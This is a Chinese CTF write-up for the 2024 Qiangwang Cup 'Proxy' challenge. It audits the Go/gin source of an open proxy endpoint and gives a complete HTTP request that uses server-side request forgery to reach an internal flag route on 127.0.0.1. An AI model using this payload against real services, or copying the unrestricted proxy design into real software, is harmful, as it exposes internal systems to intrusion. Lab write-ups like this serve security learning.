2024强网杯Proxy

news/2024/11/13 14:49:35/

代码审计

首先分析go语言代码

go">package mainimport ("bytes""io""net/http""os/exec""github.com/gin-gonic/gin"
)type ProxyRequest struct {URL             string            `json:"url" binding:"required"`Method          string            `json:"method" binding:"required"`Body            string            `json:"body"`Headers         map[string]string `json:"headers"`FollowRedirects bool              `json:"follow_redirects"`
}func main() {r := gin.Default()v1 := r.Group("/v1"){v1.POST("/api/flag", func(c *gin.Context) {cmd := exec.Command("/readflag")flag, err := cmd.CombinedOutput()if err != nil {c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})return}c.JSON(http.StatusOK, gin.H{"flag": flag})})}v2 := r.Group("/v2"){v2.POST("/api/proxy", func(c *gin.Context) {var proxyRequest ProxyRequestif err := c.ShouldBindJSON(&proxyRequest); err != nil {c.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Invalid request"})return}client := &http.Client{CheckRedirect: func(req *http.Request, via []*http.Request) error {if !req.URL.IsAbs() {return http.ErrUseLastResponse}if !proxyRequest.FollowRedirects {return http.ErrUseLastResponse}return nil},}req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte(proxyRequest.Body)))if err != nil {c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})return}for key, value := range proxyRequest.Headers {req.Header.Set(key, value)}resp, err := client.Do(req)if err != nil {c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})return}defer resp.Body.Close()body, err := io.ReadAll(resp.Body)if err != nil {c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})return}c.Status(resp.StatusCode)for key, value := range resp.Header {c.Header(key, value[0])}c.Writer.Write(body)c.Abort()})}r.Run("127.0.0.1:8769")
}

分析代码,这个代码使用的是gin框架,

核心代码

这个题目的和核心代码就是下面这些。

go">type ProxyRequest struct {URL             string            `json:"url" binding:"required"`Method          string            `json:"method" binding:"required"`Body            string            `json:"body"`Headers         map[string]string `json:"headers"`FollowRedirects bool              `json:"follow_redirects"`
}

首先是定义了一段结构体,这段结构体定义了代理请求的格式,也就是说我们需要传入参数的格式与内容。

然后就是API路由

go">	v1 := r.Group("/v1"){v1.POST("/api/flag", func(c *gin.Context) {cmd := exec.Command("/readflag")flag, err := cmd.CombinedOutput()if err != nil {c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})return}c.JSON(http.StatusOK, gin.H{"flag": flag})})}

创建一个/v1路由组,并添加POST请求的api/flag路由

这个路由的作用就是执行readflag命令,得到flag

然后就是v2路由

go">	v2 := r.Group("/v2"){v2.POST("/api/proxy", func(c *gin.Context) {var proxyRequest ProxyRequestif err := c.ShouldBindJSON(&proxyRequest); err != nil {c.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Invalid request"})return}

创建v2路由组,并添加一个POST的请求/api/proxy路由

这个路由接收我们刚才定义的结构体中的数据

go">			client := &http.Client{CheckRedirect: func(req *http.Request, via []*http.Request) error {if !req.URL.IsAbs() {return http.ErrUseLastResponse}if !proxyRequest.FollowRedirects {return http.ErrUseLastResponse}return nil},}

这段代码就是创建一个自定义的http客户端,并设置重定向规则,如果请求不是绝对url,就阻止重定向。

go">			req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte(proxyRequest.Body)))if err != nil {c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})return}for key, value := range proxyRequest.Headers {req.Header.Set(key, value)}resp, err := client.Do(req)

根据ProxyRequest中的参数创建一个新的HTTP请求

并将请求头设置为来自请求的头信息
发送请求并获取响应

go">			if err != nil {c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})return}defer resp.Body.Close()body, err := io.ReadAll(resp.Body)if err != nil {c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})return}c.Status(resp.StatusCode)for key, value := range resp.Header {c.Header(key, value[0])}c.Writer.Write(body)c.Abort()})}

这段代码主要作用就是处理响应的错误,以及读取响应体内容和返回状态码与头信息。

构造payload

然后就可以根据代码来构造请求了

POST /v2/api/proxy HTTP/1.1
Host: 8.147.129.74:26637
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 170{"url": "http://127.0.0.1:8769/v1/api/flag","method": "POST","body": "null","headers": {"Authorization": "null"},"follow_redirects": true
}

发包,得到flag。


http://www.ppmy.cn/news/1546306.html

相关文章

鸿蒙-promptAction.showToast基于PC屏幕底部提示

PC端app缩小,右击出菜单后,点菜单项 菜单关闭,并弹promptAction.showToast提示,但提示是基于PC底部弹提示的,需要的是基于app底部弹提示 原因是UIContext是右击菜单的UIContext,需要拿到菜单下面UI的UICont…

【论文复现】MSA+抑郁症模型总结(三)

📝个人主页🌹:Eternity._ 🌹🌹期待您的关注 🌹🌹 ❀MSA抑郁症模型 热门研究领域:情感计算的横向发展1. 概述2. 论文地址3. 研究背景4. 主要贡献5. 模型结构和代码6. 数据集介绍7. 性…

Flutter常用命令整理

Flutter常用命令 前言Flutter 单元测试依赖更新开发与调试其他常用命令end 前言 做flutter开发已经有一段时间了,flutter 作为跨平台框架,对于开发效率,有很大的提升,虽然在使用过程中存在一些坑,比如稀奇古怪的适配、…

Elasticsearch常用接口_添加数据

插入es数据:_index/_type/ POST { "tabTitle": "森图表_test", "chtTabTitle": "森图表_test", "status": 0 } 注意:Elasticsearch 6.0.0及更高版本中,索引只能包含一个映射类型

屏幕后期处理

1、屏幕后期处理效果 屏幕后期处理效果( Screen Post-Processing Effects)是一种在渲染管线的最后阶段应用的视觉效果,允许在场景渲染完成后对最终图像进行各种调整和效果处理,从而增强视觉体验 常见的屏幕后期处理效果有&#x…

App渠道来源追踪方案全面分析(iOS/Android/鸿蒙)

一、App 渠道来源追踪概述 渠道来源统计/追踪,其原理都可以称之为归因,归因是用于判断用户在什么原因、什么时间、什么场景下载了 App,以及打通他们在激活 App 后进行的一系列操作(比如注册、付费、加购等)。 渠道来…

你对安装在自己网站上的wordpress插件了解吗?

有不少用wordpress建站的人,喜欢用插件实现一些功能,使用插件是可以很方便的实现一些功能,但是,使用插件也会带来不少的问题。关于这个,这里就不讲了,网上可以搜索出一堆相关的内容来,这里只提出…

修改elementUI等UI组件样式的5种方法总结,哪些情况需要使用/deep/, :deep()等方式来穿透方法大全

文章目录 方法 1:全局修改样式示例:修改 `ElMessage` 的背景色和字体颜色方法 2:修改特定类型的 `ElMessage` 样式-全局-不需要穿透示例:修改 `ElMessage` 成功类型的样式方法 3:通过 Scoped CSS 在组件内部修改-局部-不需要穿透方法 4:使用 JavaScript 动态修改样式-不需…